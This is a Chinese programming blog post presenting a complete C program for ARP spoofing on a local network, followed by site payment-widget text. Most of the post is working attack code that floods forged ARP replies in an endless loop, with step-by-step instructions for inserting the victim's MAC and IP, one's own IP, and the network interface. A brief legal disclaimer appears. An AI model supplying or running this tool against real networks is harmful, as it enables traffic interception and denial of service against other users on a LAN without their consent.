Linux网络编程--ARP欺骗案例

         ARP(地址解析协议)工作在数据链路层(第二层),主要用于将网络层(第三层)的IP地址转换为物理层上的MAC地址。

  1. 定义ARP报文头:定义了一个struct arp_header,它包含了ARP报文的所有字段,如硬件类型、协议类型、硬件地址长度、协议地址长度、操作码等。

  2. 发送函数my_send()函数用于通过指定的套接字发送数据到指定的网络接口。

  3. 主函数:在main()函数中,

    • 创建了一个原始套接字,用于发送和接收链路层的数据包。
    • 初始化了一个大小为1024字节的数组msg,用于存储要发送的ARP报文。
    • 设置了以太网帧的头部信息,包括目的MAC地址、源MAC地址和帧类型。
    • 设置了ARP报文头部的信息,包括硬件类型、协议类型、硬件地址长度、协议地址长度、操作码、源MAC地址、源IP地址、目标MAC地址和目标IP地址。
    • 在一个无限循环中,持续地发送伪造的ARP响应包给指定的网络接口。

这段代码中要修改的一共有四项

  • 第75行        需要将0xee, 0xee, 0xee, 0xee, 0xee, 0xee更改为你想arp欺骗的mac地址。
  • 第91行        需要填入你自己的ip地址。
  • 第93行        需要将192.168.10.223更改为你想arp欺骗的ip地址。
  • 第109行      需要将ens33改成自己的网卡名称

注意事项:(切记)

  1. 使用死循环频繁的arp发送可能会导致自身的网络连接出现问题。(可以使用for循环设置间隔代替,代码中被注释掉,但是对方可能不会出现断网或无网情况。)
  2. ARP欺骗通常在同一局域网内进行即(192.168.10,.xxx)前三位需要一样
  3. ARP欺骗属于网络攻击的一种形式,用于非授权访问和监视网络流量,这是非法的。请遵守法律法规,并在授权范围内进行。
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <net/ethernet.h>
#include <net/if_arp.h>


// 定义ARP报文头
struct arp_header
{
    unsigned short int ar_hrd; 
    unsigned short int ar_pro;
    unsigned char ar_hln;      
    unsigned char ar_pln;     
    unsigned short int ar_op;  
#if 1
    unsigned char __ar_sha[ETH_ALEN]; 
    unsigned char __ar_sip[4];        
    unsigned char __ar_tha[ETH_ALEN]; 
    unsigned char __ar_tip[4];        
#endif
};

ssize_t my_send(int sockfd, char *data, ssize_t len, char *if_name)
{
    struct ifreq ethreq;
    strncpy(ethreq.ifr_name, if_name, IFNAMSIZ);
    // 获取网络接口信息
    if (ioctl(sockfd, SIOCGIFINDEX, &ethreq) < 0)
    {
        perror("获取网络接口信息失败\n");
        exit(-1);
    }
    // 创建网络接口地址
    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_ifindex = ethreq.ifr_ifindex;

    // 发送数据
    ssize_t send_len =
        sendto(sockfd, data, len, 0, (struct sockaddr *)&sll, sizeof(sll));
    if (send_len < 0)
    {
        perror("发送数据失败\n");
        exit(-1);
    }
    return send_len;
}

int main(int argc, char const *argv[])
{
    // 创建原始套接字
    int sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sockfd < 0)
    {
        perror("原始套接字创建失败\n");
        exit(-1);
    }
    printf("sockfd=%d\n", sockfd);

    // 组装ARP应答数据报
    unsigned char msg[1024] = "";

    // 目的mac和源mac
    unsigned char src_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};  // 这里可以随便填写一个mac地址
    unsigned char dest_mac[] = {0xee, 0xee, 0xee, 0xee, 0xee, 0xee};  // 这里需要将0xee, 0xee, 0xee, 0xee, 0xee, 0xee更改为你想arp欺骗的mac地址

    /*-------------mac头部--------------*/
    struct ether_header *eth_addr = (struct ether_header *)msg;
    memcpy(eth_addr->ether_dhost, dest_mac, 6);
    memcpy(eth_addr->ether_shost, src_mac, 6);
    eth_addr->ether_type = htons(0x0806);

    /*-------------ARP头部--------------*/
    struct arp_header *arp_addr = (struct arp_header *)(msg + 14);
    arp_addr->ar_hrd = htons(1);                              
    arp_addr->ar_pro = htons(0x0800);                        
    arp_addr->ar_hln = 6;                                    
    arp_addr->ar_pln = 4;                                    
    arp_addr->ar_op = htons(2);                              
    memcpy(arp_addr->__ar_sha, src_mac, 6);                   
    inet_pton(AF_INET, "192.168.10.184", arp_addr->__ar_sip); // 这里需要填入你自己的ip地址
    memcpy(arp_addr->__ar_tha, dest_mac, 6);                 
    inet_pton(AF_INET, "192.168.10.223", arp_addr->__ar_tip);  // 这里需要将192.168.10.223更改为你想arp欺骗的ip地址

    // 发送数据
    // for (int i = 1; i <= 100; i++)
    // {
    //     printf("%d\n", i);
    //     if (my_send(sockfd, msg, sizeof(struct ether_header) + sizeof(struct arp_header), "ens33") < 0)
    //     {
    //         perror("send error");
    //         exit(-1);
    //     }
    //     sleep(1);
    // }

    while (1)
    {
        if (my_send(sockfd, msg, sizeof(struct ether_header) + sizeof(struct arp_header), "ens33") < 0) // 这里需要将ens33改成自己的网卡名称
        {
            perror("send error");
            exit(-1);
        }
    }

    // 关闭套接字
    close(sockfd);
    return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值